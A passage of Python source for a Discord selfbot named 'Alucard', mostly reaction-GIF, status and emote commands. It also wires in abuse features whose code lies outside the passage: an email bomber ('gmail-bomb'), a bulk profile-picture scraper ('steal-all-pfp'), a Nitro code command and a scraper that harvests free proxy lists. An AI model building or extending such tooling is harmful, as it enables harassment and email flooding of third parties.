1733 r = requests.get("https://nekos.life/api/v2/img/hug")
1734 res = r.json()
1735 em = discord.Embed(description=user.mention)
1736 em.set_image(url=res['url'])
1737 await ctx.send(embed=em)
1738
1739@Alucard.command()
1740async def smug(ctx, user: discord.Member): # b'\xfc'
1741 await ctx.message.delete()
1742 r = requests.get("https://nekos.life/api/v2/img/smug")
1743 res = r.json()
1744 em = discord.Embed(description=user.mention)
1745 em.set_image(url=res['url'])
1746 await ctx.send(embed=em)
1747
1748@Alucard.command()
1749async def pat(ctx, user: discord.Member): # b'\xfc'
1750 await ctx.message.delete()
1751 r = requests.get("https://nekos.life/api/v2/img/pat")
1752 res = r.json()
1753 em = discord.Embed(description=user.mention)
1754 em.set_image(url=res['url'])
1755 await ctx.send(embed=em)
1756
1757@Alucard.command()
1758async def kiss(ctx, user: discord.Member): # b'\xfc'
1759 await ctx.message.delete()
1760 r = requests.get("https://nekos.life/api/v2/img/kiss")
1761 res = r.json()
1762 em = discord.Embed(description=user.mention)
1763 em.set_image(url=res['url'])
1764 await ctx.send(embed=em)
1765
1766@Alucard.command(aliases=['proxy'])
1767async def proxies(ctx): # b'\xfc'
1768 await ctx.message.delete()
1769 file = open("Data/Http-proxies.txt", "a+")
1770 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=1500')
1771 proxies = []
1772 for proxy in res.text.split('\n'):
1773 proxy = proxy.strip()
1774 if proxy:
1775 proxies.append(proxy)
1776 for p in proxies:
1777 file.write((p)+"\n")
1778 file = open("Data/Https-proxies.txt", "a+")
1779 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=https&timeout=1500')
1780 proxies = []
1781 for proxy in res.text.split('\n'):
1782 proxy = proxy.strip()
1783 if proxy:
1784 proxies.append(proxy)
1785 for p in proxies:
1786 file.write((p)+"\n")
1787 file = open("Data/Socks4-proxies.txt", "a+")
1788 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&timeout=1500')
1789 proxies = []
1790 for proxy in res.text.split('\n'):
1791 proxy = proxy.strip()
1792 if proxy:
1793 proxies.append(proxy)
1794 for p in proxies:
1795 file.write((p)+"\n")
1796 file = open("Data/Socks5-proxies.txt", "a+")
1797 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&timeout=1500')
1798 proxies = []
1799 for proxy in res.text.split('\n'):
1800 proxy = proxy.strip()
1801 if proxy:
1802 proxies.append(proxy)
1803 for p in proxies:
1804 file.write((p)+"\n")
1805
1806@Alucard.command()
1807async def uptime(ctx): # b'\xfc'
1808 await ctx.message.delete()
1809 uptime = datetime.datetime.utcnow() - start_time
1810 uptime = str(uptime).split('.')[0]
1811 await ctx.send(f'`'+uptime+'`')
1812
1813@Alucard.command()
1814async def purge(ctx, amount: int): # b'\xfc'
1815 await ctx.message.delete()
1816 async for message in ctx.message.channel.history(limit=amount).filter(lambda m: m.author == Alucard.user).map(lambda m: m):
1817 try:
1818 await message.delete()
1819 except:
1820 pass
1821
1822@Alucard.command(name='group-leaver', aliase=['leaveallgroups', 'leavegroup', 'leavegroups'])
1823async def _group_leaver(ctx): # b'\xfc'
1824 await ctx.message.delete()
1825 for channel in Alucard.private_channels:
1826 if isinstance(channel, discord.GroupChannel):
1827 await channel.leave()
1828
1829@Alucard.command()
1830async def stream(ctx, *, message): # b'\xfc'
1831 await ctx.message.delete()
1832 stream = discord.Streaming(
1833 name=message,
1834 url=stream_url,
1835 )
1836 await Alucard.change_presence(activity=stream)
1837
1838@Alucard.command()
1839async def game(ctx, *, message): # b'\xfc'
1840 await ctx.message.delete()
1841 game = discord.Game(
1842 name=message
1843 )
1844 await Alucard.change_presence(activity=game)
1845
1846@Alucard.command()
1847async def listening(ctx, *, message): # b'\xfc'
1848 await ctx.message.delete()
1849 await Alucard.change_presence(
1850 activity=discord.Activity(
1851 type=discord.ActivityType.listening,
1852 name=message,
1853 ))
1854
1855@Alucard.command()
1856async def watching(ctx, *, message): # b'\xfc'
1857 await ctx.message.delete()
1858 await Alucard.change_presence(
1859 activity=discord.Activity(
1860 type=discord.ActivityType.watching,
1861 name=message
1862 ))
1863
1864@Alucard.command(aliases=['markasread', 'ack'])
1865async def read(ctx): # b'\xfc'
1866 await ctx.message.delete()
1867 for guild in Alucard.guilds:
1868 await guild.ack()
1869
1870@Alucard.command()
1871async def reverse(ctx, *, message): # b'\xfc'
1872 await ctx.message.delete()
1873 message = message[::-1]
1874 await ctx.send(message)
1875
1876@Alucard.command()
1877async def shrug(ctx): # b'\xfc'
1878 await ctx.message.delete()
1879 shrug = r'¯\_(ツ)_/¯'
1880 await ctx.send(shrug)
1881
1882@Alucard.command()
1883async def lenny(ctx): # b'\xfc'
1884 await ctx.message.delete()
1885 lenny = '( ͡° ͜ʖ ͡°)'
1886 await ctx.send(lenny)
1887
1888@Alucard.command()
1889async def tableflip(ctx): # b'\xfc'
1890 await ctx.message.delete()
1891 tableflip = '(╯°□°)╯︵ ┻━┻'
1892 await ctx.send(tableflip)
1893
1894@Alucard.command()
1895async def unflip(ctx): # b'\xfc'
1896 await ctx.message.delete()
1897 unflip = '┬─┬ ノ( ゜-゜ノ)'
1898 await ctx.send(unflip)
1899
1900@Alucard.command()
1901async def bold(ctx, *, message): # b'\xfc'
1902 await ctx.message.delete()
1903 await ctx.send('**'+message+'**')
1904
1905@Alucard.command()
1906async def secret(ctx, *, message): # b'\xfc'
1907 await ctx.message.delete()
1908 await ctx.send('||'+message+'||')
1909
1910@Alucard.command(name='role-hexcode', aliases=['rolecolor'])
1911async def _role_hexcode(ctx, *, role: discord.Role): # b'\xfc'
1912 await ctx.message.delete()
1913 await ctx.send(f"{role.name} : {role.color}")
1914
1915@Alucard.command(name='get-hwid', aliases=['hwid', 'gethwid', 'hwidget'])
1916async def _get_hwid(ctx): # b'\xfc'
1917 await ctx.message.delete()
1918 print(f"HWID: {Fore.YELLOW}{hwid}"+Fore.RESET)
1919
1920@Alucard.command()
1921async def empty(ctx): # b'\xfc'
1922 await ctx.message.delete()
1923 await ctx.send(chr(173))
1924
1925@Alucard.command()
1926async def everyone(ctx): # b'\xfc'
1927 await ctx.message.delete()
1928 await ctx.send('https://@everyone@google.com')
1929
1930@Alucard.command()
1931async def logout(ctx): # b'\xfc'
1932 await ctx.message.delete()
1933 await Alucard.logout()
1934
1935@Alucard.command(aliases=['btc-stream', 'streambtc', 'stream-btc', 'btcstatus'])
1936async def btcstream(ctx): # b'\xfc'
1937 await ctx.message.delete()
1938 btc_status.start()
1939
1940@Alucard.command(name='steal-all-pfp', aliases=['steal-all-pfps', 'stealallpfps'])
1941async def _steal_all_pfp(ctx): # b'\xfc'
1942 await ctx.message.delete()
1943 Dump(ctx)
1944
1945@Alucard.command(aliases=['clearconsole', 'consoleclear'])
1946async def cls(ctx): # b'\xfc'
1947 await ctx.message.delete()
1948 Clear()
1949 startprint()
1950
1951@Alucard.command()
1952async def nitro(ctx): # b'\xfc'
1953 await ctx.message.delete()
1954 await ctx.send(Nitro())
1955
1956@Alucard.command(name='gmail-bomb', aliases=['gmail-bomber', 'gmailbomb', 'email-bomber', 'emailbomber'])
1957async def _gmail_bomb(ctx): # b'\xfc'
1958 await ctx.message.delete()
1959 GmailBomber()
1960
1961if __name__ == '__main__':
1962 Init()
1963